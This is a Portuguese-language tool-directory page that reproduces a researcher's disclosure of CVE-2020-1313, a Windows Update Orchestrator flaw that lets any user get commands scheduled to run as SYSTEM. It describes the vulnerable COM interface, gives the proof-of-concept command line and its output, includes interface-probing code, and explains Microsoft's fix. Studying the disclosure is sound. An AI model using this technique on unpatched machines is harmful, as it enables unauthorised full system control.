Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-1313 — Prova de conceito de exploração da vulnerabilidade de elevação de privilégio do Serviço de Orquestração de Atualização do Windows | Kitploit
Ferramentas/GitHubGitHub/irsl/cve-2020-1313
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoEngenharia ReversaTestes de PenetraçãoExploração de Binários
GitHubirsl/cve-2020-1313

CVE-2020-1313

Prova de conceito de exploração da vulnerabilidade de elevação de privilégio do Serviço de Orquestração de Atualização do Windows

Ver Repositório
12123há 6 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2020-1313

Resumo

O Windows Update Orchestrator Service é um serviço DCOM usado por outros componentes para instalar atualizações do Windows que já foram baixadas. O USO estava vulnerável a Elevação de Privilégios (qualquer usuário para sistema local) devido a uma autorização inadequada dos chamadores. A vulnerabilidade afetou os produtos Windows 10 e Windows Server Core. Corrigido pela Microsoft na Patch Tuesday de junho de 2020.

A vulnerabilidade

O serviço UniversalOrchestrator (9C695035-48D2-4229-8B73-4C70E756E519), implementado em usosvc.dll, é executado como NT_AUTHORITY\SYSTEM e está configurado com permissões de acesso para BUILTIN\Users (entre outros). Embora a enumeração das classes COM implementadas por este serviço seja bloqueada (OLEView.NET: Error querying COM interfaces - ClassFactory cannot supply requested class), a interface IUniversalOrchestrator (c53f3549-0dbf-429a-8297-c812ba00742d) — conforme exposta pela definição do proxy — pode ser obtida através de chamadas padrão da API COM. Os seguintes 3 métodos são exportados:

root@kitploit:~
	virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed
	virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork
	virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted

O método ScheduleWork pode ser usado para agendar um comando a ser executado no contexto do serviço e pode ser feito sem qualquer autorização do solicitante. Embora o próprio executável alvo deva ser assinado digitalmente e estar localizado em c:\windows\system32 ou nos arquivos comuns em Program Files, argumentos de linha de comando também podem ser especificados. Isso torna possível iniciar c:\windows\system32\cmd.exe e obter execução arbitrária de código desta forma sob NT_AUTHORITY\SYSTEM, tornando este problema uma escalada de privilégio local.

O trabalho é "agendado", não é iniciado imediatamente.

Prova de Conceito

A PoC que criei configura um "trabalho" com cmdLine c:\windows\system32\cmd.exe e parâmetros: /c "whoami > c:\x.txt & whoami /priv >>c:\x.txt"

Executando-o:

root@kitploit:~
	C:\111>whoami
	desktop-43rnlku\unprivileged

	C:\111>whoami /priv

	PRIVILEGES INFORMATION
	----------------------

	Privilege Name                Description                          State
	============================= ==================================== ========
	SeShutdownPrivilege           Shut down the system                 Disabled
	SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
	SeUndockPrivilege             Remove computer from docking station Disabled
	SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
	SeTimeZonePrivilege           Change the time zone                 Disabled

	C:\111>whoami /priv

	C:\111>UniversalOrchestratorPrivEscPoc.exe
	Obtaining reference to IUniversalOrchestrator
	Scheduling work with id 56594
	Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.

Uma entrada sobre o trabalho agendado é adicionada ao registro:

Entrada do Registro

O comando especificado é executado durante a noite (por volta das 23:20) quando nenhuma interação do usuário é esperada, ou após 3 dias de SLA ter passado.

Como esta questão foi encontrada?

Quando não consegui obter a definição da interface do serviço USO com o OleView.NET, criei um script para percorrer centenas de combinações CLSID/IID que eu esperava que funcionassem em algum nível. Era algo assim:

root@kitploit:~
void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)
{
	void *ss = NULL;
	IID iid;
	ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else

	HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);

	printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");
}

void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)
{
	// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);
	TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);
	// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!
}

...

	TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");
	TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");
	TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");
        // ... and hundreds of more

O resultado da abordagem foi:

root@kitploit:~
	UniversalOrchestrator IUniversalOrchestrator: WORKING
	UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING
	UxUpdateManager IUxUpdateManager: WORKING

Então comecei a fazer engenharia reversa da implementação e encontrei o fluxo descrito acima.

A correção

A Microsoft corrigiu este problema na Patch Tuesday de junho de 2020 adicionando a chamada de API CoImpersonateClient que estava faltando.

Implementação antes da correção aplicada:

Implementação original

Implementação após a correção aplicada:

A correção

Como isso ajuda? A personificação é feita no início do processamento da solicitação, então as chamadas de API para atualizar o registro são executadas no contexto de segurança do chamador. Se o chamador não tiver privilégio em HKEY_LOCAL_MACHINE, o método da API uso falhará de acordo.

Créditos

Imre Rad

Mais informações

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1313

Baixar ferramenta